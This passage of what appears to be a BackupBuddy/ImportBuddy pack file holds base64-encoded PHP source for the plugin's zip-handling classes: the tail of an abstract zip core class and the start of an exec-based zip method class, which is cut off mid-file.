gc3ByaW50ZiggX18oICdaaXAgcHJvY2VzcyByZXBvcnRlZCAlMSRzIG1vcmUgJTIkcyByZXBvcnQlMyRzIC0gcGxlYXNlIHJldmlldyBpbjogJTQkcycsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICggJHJlcG9ydHNfY291bnQgLSAkcmVwb3J0X2xpbmVzX3RvX3Nob3cgKSwgJHJlcG9ydF9wcmVmaXgsICggKCAxID09ICRyZXBvcnRzX2NvdW50ICkgPyAnJyA6ICdzJyApLCAkcmVwb3J0c19maWxlICkgKTsKCQkJCgkJCQl9CgkJCgkJCX0KCQkJCgkJfQoJCQoJCS8qKgoJCSAqCWlzX2F2YWlsYWJsZSgpCgkJICoJCgkJICoJQSBmdW5jdGlvbiB0aGF0IHRlc3RzIGZvciB0aGUgYXZhaWxhYmlsaXR5IG9mIHRoZSBzcGVjaWZpYyBtZXRob2QgYW5kIGl0cyBhdmFpbGFibGUgbW9kZXMuIFdpbGwgdGVzdCBmb3IKCQkgKiAgbXVsdGlwbGUgbW9kZXMgKHppcCAmIHVuemlwKSBhbmQgb25seSByZXR1cm4gZmFsc2UgaWYgbmVpdGhlciBpcyBhdmFpbGFibGUuIEFjdHVhbCBhdmFpbGFibGUgbW9kZXMgd2lsbAoJCSAqICBiZSBpbmRpY2F0ZWQgaW4gdGhlIG1ldGhvZCBhdHRyaWJ1dGVzLgoJCSAqCQoJCSAqCUBwYXJhbQkJc3RyaW5nCSR0ZW1wZGlyCVRlbXBvcmFyeSBkaXJlY3RvcnkgdG8gdXNlIGZvciBhbnkgdGVzdCBmaWxlcyAobXVzdCBiZSB3cml0ZWFibGUpCgkJICoJQHJldHVybgkJYm9vbAkJCQlUcnVlIGlmIHRoZSBtZXRob2QgaXMgYXZhaWxhYmxlIGZvciBhdCBsZWFzdCBvbmUgbW9kZSwgZmFsc2Ugb3RoZXJ3aXNlCgkJICoKCQkgKi8KCQlhYnN0cmFjdCBwdWJsaWMgZnVuY3Rpb24gaXNfYXZhaWxhYmxlKCAkdGVtcGRpciApOwoJCQoJCS8qKgoJCSAqCWFkZF92aXJ0dWFsX2ZpbGUoKQoJCSAqCQoJCSAqCUEgZnVuY3Rpb24gdGhhdCBhbGxvd3MgYSB2aXJ0dWFsIGZpbGUgdG8gYmUgYWRkZWQgdG8gYSB6aXAgYXJjaGl2ZQoJCSAqCQoJCSAqCVRoZSB2aXJ0dWFsIGZpbGUgZGVzY3JpcHRvciBpcyBhbiBhcnJheSBvZiBkZXNjcmlwdG9yIGFycmF5KHMpIHRoYXQgcHJvdmlkZSBhIGZpbGVuYW1lCgkJICoJZm9yIHRoZSB2aXJ0dWFsIGZpbGUgdG8gYmUgYWRkZWQgKGNhbiBpbmNsdWRlIHBhdGggcHJlZml4KSBhbmQgYSBzdHJpbmcgdGhhdCBjb250YWlucyB0aGUKCQkgKglmaWxlIGNvbnRlbnQgKGNhbiBiZSBlbXB0eSBidXQgbXVzdCBiZSBwcmVzZW50KS4gRm9yIGV4YW1wbGU6CgkJICoJYXJyYXkoIGFycmF5KCAnZmlsZW5hbWUnID0+ICdzb21lZmlsZS50eHQnLCAnY29udGVudCcgPT4gJ0EgVGV4dCBTdHJpbmcnICkgKQoJCSAqCU5vdGUgdGhhdCB0aGUgYWN0dWFsIHppcCBmaWxlIHRvIHdoaWNoIHRoZSBmaWxlIGlzIGFkZGVkIGlzIGZvcm1lZCBmcm9tIHRoZSBmaWxlbmFlbSBmcm9tCgkJICoJdGhlICR6aXAgcGFyYW1ldGVyIGFwcGFlbmRlZCB0byB0aGUgJHRlbXBkaXIgZGlyZWN0b3J5IHBhdGguIFRoaXMgaXMgc2xpZ2h0bHkgY2x1bmt5IGFuZAoJCSAqCW1heSBiZSBjaGFuZ2VkIGF0IHNvbWUgbGF0ZXIgZGF0ZS4KCQkgKgkKCQkgKglAcGFyYW0JCXN0cmluZwkkemlwCQkJCQkJRnVsbCBwYXRoICYgZmlsZW5hbWUgb2YgWklQIEFyY2hpdmUgZmlsZSB0byBhZGQgZmlsZSB0bwoJCSAqCUBwYXJhbQkJYXJyYXkJJHZpcnR1YWxfZmlsZV9kZXNjcmlwdG9yCUZ1bGwgZGVzY3JpcHRvciBvZiBmaWxlKHMpIHRvIGFkZCB0byBaSVAgQXJjaGl2ZSBmaWxlCgkJICoJQHBhcmFtCQlzdHJpbmcJJHRlbXBkaXIJCQkJCUZ1bGwgcGF0aCBvZiBkaXJlY3RvcnkgZm9yIHRlbXBvcmFyeSB1c2FnZQoJCSAqCUByZXR1cm4JCWJvb2wJCQkJCQkJCVRydWUgaWYgdGhlIGFkZGl0aW9uIHdhcyBzdWNjZXNzZnVsLCBmYWxzZSBvdGhlcndpc2UKCQkgKgoJCSAqLwoJCWFic3RyYWN0IHB1YmxpYyBmdW5jdGlvbiBhZGRfdmlydHVhbF9maWxlKCAkemlwLCAkdmlydHVhbF9maWxlX2Rlc2NyaXB0b3IsICR0ZW1wZGlyICk7CgoJCS8qKgoJCSAqCWNyZWF0ZSgpCgkJICoJCgkJICoJQSBmdW5jdGlvbiB0aGF0IGNyZWF0ZXMgYW4gYXJjaGl2ZSBmaWxlCgkJICoJCgkJICoJVGhlICRleGNsdWRlcyB3aWxsIGJlIGEgbGlzdCBvciByZWxhdGl2ZSBwYXRoIGV4Y2x1ZGVzIGlmIHRoZSAkbGlzdG1ha2VyIG9iamVjdCBpcyBOVUxMIG90aGVyd2lzZQoJCSAqCXdpbGwgYmUgYWJzb2x1dGUgcGF0aCBleGNsdWRlcyBhbmQgcmVsYXRpdmUgcGF0aCBleGNsdWRlcyBjYW4gYmUgaGFkIGZyb20gdGhlICRsaXN0bWFrZXIgb2JqZWN0CgkJICoJCgkJICoJQHBhcmFtCQlzdHJpbmcJJHppcAkJCUZ1bGwgcGF0aCAmIGZpbGVuYW1lIG9mIFpJUCBBcmNoaXZlIGZpbGUgdG8gY3JlYXRlCgkJICoJQHBhcmFtCQlzdHJpbmcJJGRpcgkJCUZ1bGwgcGF0aCBvZiBkaXJlY3RvcnkgdG8gYWRkIHRvIFpJUCBBcmNoaXZlIGZpbGUKCQkgKglAcGFyYW1lCQlhcnJheQkkZXhjbHVkZXMJCUxpc3Qgb2YgZWl0aGVyIGFic29sdXRlIHBhdGggZXhjbHVzaW9ucyBvciByZWxhdGl2ZSBleGNsdXNpb25zCgkJICoJQHBhcmFtCQlzdHJpbmcJJHRlbXBkaXIJCUZ1bGwgcGF0aCBvZiBkaXJlY3RvcnkgZm9yIHRlbXBvcmFyeSB1c2FnZQoJCSAqCUBwYXJhbQkJb2JqZWN0CSRsaXN0bWFrZXIJCVRoZSBvYmplY3QgZnJvbSB3aGljaCB3ZSBjYW4gZ2V0IGFuIGluY2x1c2lvbnMgbGlzdAoJCSAqCUByZXR1cm4JCWJvb2wJCQkJCVRydWUgaWYgdGhlIGNyZWF0aW9uIHdhcyBzdWNjZXNzZnVsLCBmYWxzZSBvdGhlcndpc2UKCQkgKgoJCSAqLwoJCWFic3RyYWN0IHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoICR6aXAsICRkaXIsICRleGNsdWRlcywgJHRlbXBkaXIsICRsaXN0bWFrZXIgPSBOVUxMICk7CgkJCgkJLyoqCgkJICoJZXh0cmFjdCgpCgkJICoKCQkgKglFeHRyYWN0cyB0aGUgY29udGVudHMgb2YgYSB6aXAgZmlsZSB0byB0aGUgc3BlY2lmaWVkIGRpcmVjdG9yeSB1c2luZyB0aGUgYmVzdCB1bnppcCBtZXRob2RzIHBvc3NpYmxlLgoJCSAqCgkJICoJQHBhcmFtCXN0cmluZwkJJHppcF9maWxlCQkJCQlGdWxsIHBhdGggJiBmaWxlbmFtZSBvZiBaSVAgZmlsZSB0byBleHRyYWN0IGZyb20uCgkJICoJQHBhcmFtCXN0cmluZwkJJGRlc3RpbmF0aW9uX2RpcmVjdG9yeQkJRnVsbCBkaXJlY3RvcnkgcGF0aCB0byBleHRyYWN0IGludG8uCgkJICoJQHBhcmFtCWFycmF5CQkkaXRlbXMJCQkJCQlNYXBwaW5nIG9mIHdoYXQgdG8gZXh0cmFjdCBhbmQgdG8gd2hhdAoJCSAqCUByZXR1cm4JYm9vbAkJCQkJCQkJCXRydWUgb24gc3VjY2VzcyAoYWxsIGV4dHJhY3Rpb25zIHN1Y2Nlc3NmdWwpLCBmYWxzZSBvdGhlcndpc2UKCQkgKi8KCQlhYnN0cmFjdCBwdWJsaWMgZnVuY3Rpb24gZXh0cmFjdCggJHppcF9maWxlLCAkZGVzdGluYXRpb25fZGlyZWN0b3J5ID0gJycsICRpdGVtcyA9IGFycmF5KCkgKTsKCgkJLyoqCgkJICoJZmlsZV9leGlzdHMoKQoJCSAqCQoJCSAqCVRlc3RzIHdoZXRoZXIgYSBmaWxlICh3aXRoIHBhdGgpIGV4aXN0cyBpbiB0aGUgZ2l2ZW4gemlwIGZpbGUKCQkgKglJZiBsZWF2ZV9vcGVuIGlzIHRydWUgdGhlbiB0aGUgemlwIG9iamVjdCB3aWxsIGJlIGxlZnQgb3BlbiBmb3IgZmFzdGVyIGNoZWNraW5nIGZvciBzdWJzZXF1ZW50IGZpbGVzIHdpdGhpbiB0aGlzIHppcAoJCSAqCQoJCSAqCUBwYXJhbQkJc3RyaW5nCSR6aXBfZmlsZQkJVGhlIHppcCBmaWxlIHRvIGNoZWNrCgkJICoJQHBhcmFtCQlzdHJpbmcJJGxvY2F0ZV9maWxlCVRoZSBmaWxlIHRvIHRlc3QgZm9yCgkJICoJQHBhcmFtCQlib29sCSRsZWF2ZV9vcGVuCQlPcHRpb25hbDogVHJ1ZSBpZiB0aGUgemlwIGZpbGUgc2hvdWxkIGJlIGxlZnQgb3BlbgoJCSAqCUByZXR1cm4JCWJvb2wJCQkJCVRydWUgaWYgdGhlIGZpbGUgaXMgZm91bmQgaW4gdGhlIHppcCBvdGhlcndpc2UgZmFsc2UKCQkgKgoJCSAqLwoJCWFic3RyYWN0IHB1YmxpYyBmdW5jdGlvbiBmaWxlX2V4aXN0cyggJHppcF9maWxlLCAkbG9jYXRlX2ZpbGUsICRsZWF2ZV9vcGVuID0gZmFsc2UgKTsKCQkKCQkvKglnZXRfZmlsZV9saXN0KCkKCQkgKgkKCQkgKglHZXQgYW4gYXJyYXkgb2YgYWxsIGZpbGVzIGluIGEgemlwIGZpbGUgd2l0aCBzb21lIGZpbGUgcHJvcGVydGllcy4KCQkgKgkKCQkgKglAcGFyYW0JCXN0cmluZwkJJHppcF9maWxlCVRoZSBmaWxlIHRvIGxpc3QgdGhlIGNvbnRlbnQgb2YKCQkgKglAcmV0dXJuCQlib29sfGFycmF5CQkJCWZhbHNlIG9uIGZhaWx1cmUsIG90aGVyd2lzZSBhcnJheSBvZiBmaWxlIHByb3BlcnRpZXMgKG1heSBiZSBlbXB0eSkKCQkgKi8KCQlhYnN0cmFjdCBwdWJsaWMgZnVuY3Rpb24gZ2V0X2ZpbGVfbGlzdCggJHppcF9maWxlICk7CgkJCgkJLyoJc2V0X2NvbW1lbnQoKQoJCSAqCQoJCSAqCVJldHJpZXZlIGFyY2hpdmUgY29tbWVudC4KCQkgKgkKCQkgKglAcGFyYW0JCXN0cmluZwkJCSR6aXBfZmlsZQkJRmlsZW5hbWUgb2YgYXJjaGl2ZSB0byBzZXQgY29tbWVudCBvbi4KCQkgKglAcGFyYW0JCXN0cmluZwkJCSRjb21tZW50CQlDb21tZW50IHRvIGFwcGx5IHRvIGFyY2hpdmUuCgkJICoJQHJldHVybgkJYm9vbAkJCQkJCQl0cnVlIG9uIHN1Y2Nlc3MsIG90aGVyd2lzZSBmYWxzZS4KCQkgKi8KCQlhYnN0cmFjdCBwdWJsaWMgZnVuY3Rpb24gc2V0X2NvbW1lbnQoICR6aXBfZmlsZSwgJGNvbW1lbnQgKTsKCgkJLyoJZ2V0X2NvbW1lbnQoKQoJCSAqCQoJCSAqCVJldHJpZXZlIGFyY2hpdmUgY29tbWVudC4KCQkgKgkKCQkgKglAcGFyYW0JCXN0cmluZwkJJHppcF9maWxlCQlGaWxlbmFtZSBvZiBhcmNoaXZlIHRvIHJldHJpZXZlIGNvbW1lbnQgZnJvbS4KCQkgKglAcmV0dXJuCQlib29sfHN0cmluZwkJCQkJZmFsc2Ugb24gZmFpbHVyZSwgWmlwIGNvbW1lbnQgb3RoZXJ3aXNlLgoJCSAqLwoJCWFic3RyYWN0IHB1YmxpYyBmdW5jdGlvbiBnZXRfY29tbWVudCggJHppcF9maWxlICk7CgkJCgoJfSAvLyBlbmQgcGx1Z2luYnVkZHlfemJ6aXBjb3JlIGNsYXNzLgkKCQp9Cj8+Cg==
###PACKDATA,FILE_END,/lib/zipbuddy/zbzipcore.php,importbuddy/lib/zipbuddy/zbzipcore.php
###PACKDATA,FILE_START,/lib/zipbuddy/zbzipexec.php,importbuddy/lib/zipbuddy/zbzipexec.php
PD9waHAKLyoqCiAqCXBsdWdpbmJ1ZGR5X3piemlwZXhlYyBDbGFzcwogKgogKiAgRXh0ZW5kcyB0aGUgemlwIGNhcGFiaWxpdHkgY29yZSBjbGFzcyB3aXRoIHByb2Mgc3BlY2lmaWMgY2FwYWJpbGl0eQogKgkKICoJVmVyc2lvbjogMS4wLjAKICoJQXV0aG9yOgogKglBdXRob3IgVVJJOgogKgogKglAcGFyYW0JCSRwYXJlbnQJCW9iamVjdAkJT3B0aW9uYWwgcGFyZW50IG9iamVjdCB3aGljaCBjYW4gcHJvdmlkZSBmdW5jdGlvbnMgZm9yIHJlcG9ydGluZywgZXRjLgogKglAcmV0dXJuCQludWxsCiAqCiAqLwppZiAoICFjbGFzc19leGlzdHMoICJwbHVnaW5idWRkeV96YnppcGV4ZWMiICkgKSB7CgoJY2xhc3MgcGx1Z2luYnVkZHlfemJ6aXBleGVjIGV4dGVuZHMgcGx1Z2luYnVkZHlfemJ6aXBjb3JlIHsKCQoJCS8vIENvbnN0YW50cyBmb3IgZmlsZSBoYW5kbGluZwoJCWNvbnN0IFpJUF9MT0dfRklMRV9OQU1FICAgICAgICA9ICd0ZW1wX3ppcF9leGVjX2xvZy50eHQnOwoJCWNvbnN0IFpJUF9FUlJPUlNfRklMRV9OQU1FICAgICA9ICdsYXN0X2V4ZWNfZXJyb3JzLnR4dCc7CgkJY29uc3QgWklQX1dBUk5JTkdTX0ZJTEVfTkFNRSAgID0gJ2xhc3RfZXhlY193YXJuaW5ncy50eHQnOwoJCWNvbnN0IFpJUF9PVEhFUlNfRklMRV9OQU1FICAgICA9ICdsYXN0X2V4ZWNfb3RoZXJzLnR4dCc7CgkJY29uc3QgWklQX0VYQ0xVU0lPTlNfRklMRV9OQU1FID0gJ2V4Y2x1c2lvbnMudHh0JzsKCQljb25zdCBaSVBfSU5DTFVTSU9OU19GSUxFX05BTUUgPSAnaW5jbHVzaW9ucy50eHQnOwoJCWNvbnN0IFpJUF9URVNUX0ZJTEUgICAgICAgICAgICA9ICcvemJ6aXAucGhwJzsgLy8gQ29udGFpbnMgZmlsZSB0ZXN0LnR4dCB3aXRoIGNvbnRlbnQgIkhlbGxvIFdvcmxkIgoJCWNvbnN0IFpJUF9URVNUX0ZJTEVfU0lHICAgICAgICA9ICIwYTBmOWIyOGM1ZmY4OWRmYjRmMmEwNDcyYmUwZWE4ZiI7CgkJCgkJLy8gUG9zc2libGUgZXhlY3V0YWJsZSBwYXRoIHNldHMKCQljb25zdCBERUZBVUxUX0VYRUNVVEFCTEVfUEFUSFMgPSAnL3Vzci9sb2NhbC9iaW46Oi91c3IvYmluOi91c3IvbG9jYWwvc2JpbjovdXNyL3NiaW46L3NiaW46L2Jpbic7CgkJY29uc3QgV0lORE9XU19FWEVDVVRBQkxFX1BBVEhTID0gJyc7CgkJCiAgICAgICAgLyoqCiAgICAgICAgICogbWV0aG9kIHRhZyB1c2VkIHRvIHJlZmVyIHRvIHRoZSBtZXRob2QgYW5kIGVudGl0aWVzIGFzc29jaWF0ZWQgd2l0aCBpdCBzdWNoIGFzIGNsYXNzIG5hbWUKICAgICAgICAgKiAKICAgICAgICAgKiBAdmFyICRfbWV0aG9kX3RhZyAJc3RyaW5nCiAgICAgICAgICovCgkJcHVibGljIHN0YXRpYyAkX21ldGhvZF90YWcgPSAnZXhlYyc7CgkJCQogICAgICAgIC8qKgogICAgICAgICAqIFRoaXMgdGVsbHMgdXMgd2hldGhlciB0aGlzIG1ldGhvZCBpcyByZWdhcmRlZCBhcyBhICJjb21wYXRpYmlsaXR5IiBtZXRob2QKICAgICAgICAgKiAKICAgICAgICAgKiBAdmFyIGJvb2wKICAgICAgICAgKi8KCQlwdWJsaWMgc3RhdGljICRfaXNfY29tcGF0aWJpbGl0eV9tZXRob2QgPSBmYWxzZTsKCQkJCiAgICAgICAgLyoqCiAgICAgICAgICogVGhpcyB0ZWxscyB1cyB0aGUgZGVwZW5kZW5jaWVzIG9mIHRoaXMgbWV0aG9kIHNvIHRoZXkgY2FuIGJlIGNoZWNrIHRvIHNlZSBpZiB0aGUgbWV0aG9kIGNhbiBiZSBzdXBwb3J0ZWQKICAgICAgICAgKiAKICAgICAgICAgKiBAdmFyIGFycmF5CiAgICAgICAgICovCgkJcHVibGljIHN0YXRpYyAkX21ldGhvZF9kZXBlbmRlbmNpZXMgPSBhcnJheSggJ2NsYXNzZXMnID0+IGFycmF5KCksCgkJCQkJCQkJCQkJICAJCSAnZnVuY3Rpb25zJyA9PiBhcnJheSggJ2V4ZWMnICksCgkJCQkJCQkJCQkJICAJCSAnZXh0ZW5zaW9ucycgPT4gYXJyYXkoKSwKCQkJCQkJCQkJCQkgIAkJICdmaWxlcycgPT4gYXJyYXkoKSwKCQkJCQkJCQkJCQkgIAkJICdjaGVja19mdW5jJyA9PiAnY2hlY2tfbWV0aG9kX2RlcGVuZGVuY2llc19zdGF0aWMnCgkJCQkJCQkJCQkJCQkpOwoJCQkKICAgICAgICAvKioKICAgICAgICAgKiBCb29sZWFuIHRvIGluZGljYXRlIGlmIHdlIGNhbiBzdXBwb3J0IGNvbW1lbnQgaGFuZGxpbmcgYmFzZWQgb24gZGVwZW5kZW5jeSBjaGVjawogICAgICAgICAqIAogICAgICAgICAqIEB2YXIgJF9hbGxvd19pc19jb21tZW50ZXIgYm9vbAogICAgICAgICAqLwogICAgICAgIHByb3RlY3RlZCBzdGF0aWMgJF9hbGxvd19pc19jb21tZW50ZXIgPSB0cnVlOwogICAgICAgIAoJCS8qKgoJCSAqIAoJCSAqIGdldF9tZXRob2RfdGFnX3N0YXRpYygpCgkJICoKCQkgKiBHZXQgdGhlIHN0YXRpYyBtZXRob2QgdGFnIGluIGEgc3RhdGljIGNvbnRleHQKCQkgKgoJCSAqIEByZXR1cm4JCXN0cmluZwlUaGUgbWV0aG9kIHRhZwoJCSAqCgkJICovCgkJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBnZXRfbWV0aG9kX3RhZ19zdGF0aWMoKSB7CgkJCgkJCXJldHVybiBzZWxmOjokX21ldGhvZF90YWc7CgkJCQoJCX0KCgkJLyoqCgkJICogCgkJICogZ2V0X2lzX2NvbXBhdGliaWxpdHlfbWV0aG9kX3N0YXRpYygpCgkJICoKCQkgKiBHZXQgdGhlIGNvbXBhdGliaWxpdHkgbWV0aG9kIGluZGljYXRvciBpbiBhIHN0YXRpYyBjb250ZXh0CgkJICoKCQkgKiBAcmV0dXJuCQlib29sCVRydWUgaWYgaXMgYSBjb21wYXRpYmlsaXR5IG1ldGhvZAoJCSAqCgkJICovCgkJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBnZXRfaXNfY29tcGF0aWJpbGl0eV9tZXRob2Rfc3RhdGljKCkgewoJCQoJCQlyZXR1cm4gc2VsZjo6JF9pc19jb21wYXRpYmlsaXR5X21ldGhvZDsKCQl9CgoJCS8qKgoJCSAqIAoJCSAqIGdldF9tZXRob2RfZGVwZW5kZW5jaWVzX3N0YXRpYygpCgkJICoKCQkgKiBHZXQgdGhlIG1ldGhvZCBkZXBlbmRlbmNpZXMgYXJyYXkgaW4gYSBzdGF0aWMgY29udGV4dAoJCSAqCgkJICogQHJldHVybgkJYXJyYXkJVGhlIGRlcGVuZGVuY2llcyBvZiB0aGUgbWV0aG9kIHRoYXQgaXMgcmVxdWlyZXMgdG8gYmUgYSBzdXBwb3J0ZWQgbWV0aG9kCgkJICoKCQkgKi8KCQlwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGdldF9tZXRob2RfZGVwZW5kZW5jaWVzX3N0YXRpYygpIHsKCQkKCQkJcmV0dXJuIHNlbGY6OiRfbWV0aG9kX2RlcGVuZGVuY2llczsKCQl9CgoJCS8qKgoJCSAqIAoJCSAqIGNoZWNrX21ldGhvZF9kZXBlbmRlbmNpZXNfc3RhdGljKCkKCQkgKgoJCSAqIEFsbG93cyBhZGRpdGlvbmFsIG1ldGhvZCBkZXBlbmRlbmN5IGNoZWNrcyBiZXlvbmQgdGhlIHN0YW5kYXJkIGluIGEgc3RhdGljIGNvbnRleHQKCQkgKgoJCSAqIEByZXR1cm4JCWJvb2wJVHJ1ZSBpZiBhZGRpdGlvbmFsIGRlcGVuZGVuY3kgY2hlY2tzIHBhc3NlZAoJCSAqCgkJICovCgkJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBjaGVja19tZXRob2RfZGVwZW5kZW5jaWVzX3N0YXRpYygpIHsKCQkKCQkJJHJlc3VsdCA9IHRydWU7CgkJCQoJCQkvLyBOZWVkIHRvIGNoZWNrIGlmIGZ1bmN0aW9uIGVzY2FwZXNoZWxsYXJnIG9zIGF2YWlsYWJsZSAtIGlmIG5vdCB0aGVuIGV4ZWMgY2Fubm90CgkJCS8vIGJlIHVzZWQgZm9yIGNvbW1lbnQgaGFuZGxpbmcuIFRoaXMgaXNuJ3QgYSBzaG93IHN0b3BwZXIgc28gd2UnbGwgcmV0dXJuIHRydWUKCQkJLy8gYnV0IHNldCBhbiBpbnRlcm5hbCBmbGFnIHRvIGRpc2FibGUgY29tbWVudGluZyBjYXBhYmlsaXR5LgoJCQkKCQkJJGZ1bmN0aW9ucyA9IGFycmF5KCAnZXNjYXBlc2hlbGxhcmcnICk7CgkJCQoJCQkkZGlzYWJsZWRfZnVuY3Rpb25zID0gYXJyYXlfbWFwKCAidHJpbSIsIGV4cGxvZGUoICcsJywgaW5pX2dldCggJ2Rpc2FibGVfZnVuY3Rpb25zJyApICkgKTsKCQkJCgkJCS8vIENoZWNrIGVhY2ggZnVuY3Rpb24gZGVwZW5kZW5jeSBhbmQgYmFpbCBvdXQgb24gZmlyc3QgZmFpbHVyZQoJCQlmb3JlYWNoICggJGZ1bmN0aW9ucyBhcyAkZnVuY3Rpb24gKSB7CgkJCQoJCQkJJGZ1bmN0aW9uID0gdHJpbSggJGZ1bmN0aW9uICk7CgkJCQkKCQkJCWlmICggISggKCBmdW5jdGlvbl9leGlzdHMoICRmdW5jdGlvbiApICkgJiYgKCAhaW5fYXJyYXkoICRmdW5jdGlvbiwgJGRpc2FibGVkX2Z1bmN0aW9ucyApICkgKSApIHsKCgkJCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkJCWJyZWFrOwoJCQkJCQoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJaWYgKCBmYWxzZSA9PT0gJHJlc3VsdCApIHsKCQkJCgkJCQkvLyBGb3VuZCB0aGF0IGVzY2FwZXNoZWxsYXJnIG5vdCBhdmFpbGFibGUgc28gZXhlYyBjYW5ub3QgYmUgdXNlZCBmb3IgY29tbWVudCBoYW5kbGluZwoJCQkJc2VsZjo6JF9hbGxvd19pc19jb21tZW50ZXIgPSBmYWxzZTsKCQkJCgkJCX0KCQkJCgkJCXJldHVybiB0cnVlOwoJCQoJCX0KCgkJLyoqCgkJICoJX19jb25zdHJ1Y3QoKQoJCSAqCQoJCSAqCURlZmF1bHQgY29uc3RydWN0b3IuCgkJICoJCgkJICoJQHBhcmFtCQlyZWZlcmVuY2UJJiRwYXJlbnQJCVtvcHRpb25hbF0gUmVmZXJlbmNlIHRvIHRoZSBvYmplY3QgY29udGFpbmluZyB0aGUgc3RhdHVzKCkgZnVuY3Rpb24gZm9yIHN0YXR1cyB1cGRhdGVzLgoJCSAqCUByZXR1cm4JCW51bGwKCQkgKgoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCggJiRwYXJlbnQgPSBOVUxMICkgewoKCQkJcGFyZW50OjpfX2NvbnN0cnVjdCggJHBhcmVudCApOwoJCQkKCQkJLy8gU2V0IHRoZSBpbnRlcm5hbCBmbGFnIGluZGljYXRpbmcgaWYgZXhlY19kaXIgaXMgc2V0IGluIHRoZSBQSFAgZW52aXJvbm1lbnQKCQkJJHRoaXMtPnNldF9leGVjX2Rpcl9mbGFnKCk7CgkJCQoJCQkvLyBPdmVycmlkZSBzb21lIG9mIHBhcmVudCBkZWZhdWx0cwoJCQkkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAnYXR0cicgXSA9IGFycmF5X21lcmdlKCAkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAnYXR0cicgXSwKCQkJCQkJCQkJCQkJCQkJYXJyYXkoICduYW1lJyA9PiAnRXhlYyBNZXRob2QnLAoJCQkJCQkJCQkJCQkJICAJCQkgICAnY29tcGF0aWJpbGl0eScgPT4gcGx1Z2luYnVkZHlfemJ6aXBleGVjOjokX2lzX2NvbXBhdGliaWxpdHlfbWV0aG9kICkKCQkJCQkJCQkJCQkJCSAgCSAgICk7CgkJCQkJCQkJCQkJCQkgIAkgICAKCQkJLy8gTm93IHNldCB1cCB0aGUgZGVmYXVsdCBleGVjdXRhYmxlIHBhdGhzIChub3QgbWVyZ2luZyBidXQgc2V0dGluZykKCQkJLy8gTm90ZTogUGFyZW50IGNvbnN0cnVjdG9yIHNldCB0aGUgb3MgdHlwZSB2YWx1ZQoJCQlzd2l0Y2ggKCAkdGhpcy0+Z2V0X29zX3R5cGUoKSApIHsKCQkJCgkJCQljYXNlIHNlbGY6Ok9TX1RZUEVfTklYOgoJCQkJCgkJCQkJJHRoaXMtPnNldF9leGVjdXRhYmxlX3BhdGhzKCBleHBsb2RlKCBQQVRIX1NFUEFSQVRPUiwgc2VsZjo6REVGQVVMVF9FWEVDVVRBQkxFX1BBVEhTICksIGZhbHNlKTsKCQkJCQlicmVhazsKCQkJCQkKCQkJCWNhc2Ugc2VsZjo6T1NfVFlQRV9XSU46CgkJCQkJCgkJCQkJJHRoaXMtPnNldF9leGVjdXRhYmxlX3BhdGhzKCBleHBsb2RlKCBQQVRIX1NFUEFSQVRPUiwgc2VsZjo6V0lORE9XU19FWEVDVVRBQkxFX1BBVEhTICksIGZhbHNlKTsKCQkJCQkKCQkJCQkvLyBOZWVkIHRvIG1lcmdlIGluIEFCU1BBVEggaGVyZSBiZWNhdXNlIHdlIGNhbm5vdCBzZXQgdGhhdCBpbiB0aGUgZGVmYXVsdHMgLSBpdCBpcyBwcmVwZW5kZWQKCQkJCQkkdGhpcy0+c2V0X2V4ZWN1dGFibGVfcGF0aHMoIGFycmF5KCBydHJpbSggQUJTUEFUSCwgRElSRUNUT1JZX1NFUEFSQVRPUiApICkgKTsKCQkJCQlicmVhazsKCQkJCQkKCQkJCWRlZmF1bHQ6CgkJCQkJLy8gTG9nIGVycm9yIGFuZCBsZWF2ZSBwYXRocyBlbXB0eQoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ1Vua25vd24gT1MgdHlwZSAoJTEkcykgY291bGQgbm90IHNldCBleGVjdXRhYmxlIHBhdGhzJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHRoaXMtPmdldF9vc190eXBlKCkgKSApOwoJCQkJCQoJCQl9CgkJCQoJCX0KCQkKCQkvKioKCQkgKglfX2Rlc3RydWN0KCkKCQkgKgkKCQkgKglEZWZhdWx0IGRlc3RydWN0b3IuCgkJICoJCgkJICoJQHJldHVybgkJbnVsbAoJCSAqCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoICkgewoJCQoJCQlwYXJlbnQ6Ol9fZGVzdHJ1Y3QoKTsKCgkJfQoJCQoJCS8qKgoJCSAqCWdldF9tZXRob2RfdGFnKCkKCQkgKgkKCQkgKglSZXR1cm5zIHRoZSAoc3RhdGljKSBtZXRob2QgdGFnCgkJICoJCgkJICoJQHJldHVybgkJc3RyaW5nIFRoZSBtZXRob2QgdGFnCgkJICoKCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gZ2V0X21ldGhvZF90YWcoKSB7CgkJCgkJCXJldHVybiBwbHVnaW5idWRkeV96YnppcGV4ZWM6OiRfbWV0aG9kX3RhZzsKCQkJCgkJfQoJCQoJCS8qKgoJCSAqCWdldF9pc19jb21wYXRpYmlsaXR5X21ldGhvZCgpCgkJICoJCgkJICoJUmV0dXJucyB0aGUgKHN0YXRpYykgaXNfY29tcGF0aWJpbGl0eV9tZXRob2QgYm9vbGVhbgoJCSAqCQoJCSAqCUByZXR1cm4JCWJvb2wKCQkgKgoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBnZXRfaXNfY29tcGF0aWJpbGl0eV9tZXRob2QoKSB7CgkJCgkJCXJldHVybiBwbHVnaW5idWRkeV96YnppcGV4ZWM6OiRfaXNfY29tcGF0aWJpbGl0eV9tZXRob2Q7CgkJCQoJCX0KCQkKCQkvKioKCQkgKglnZXRfY29tbWFuZF9wYXRoKCkKCQkgKgkKCQkgKglUaGlzIHJldHVybnMgdGhlIHBhdGggZm9yIHRoZSByZXF1ZXN0ZWQgY29tbWFuZCBmcm9tIHRoZSBtZXRob2QgZGV0YWlscwoJCSAqCUlmIG5vdCBmb3VuZC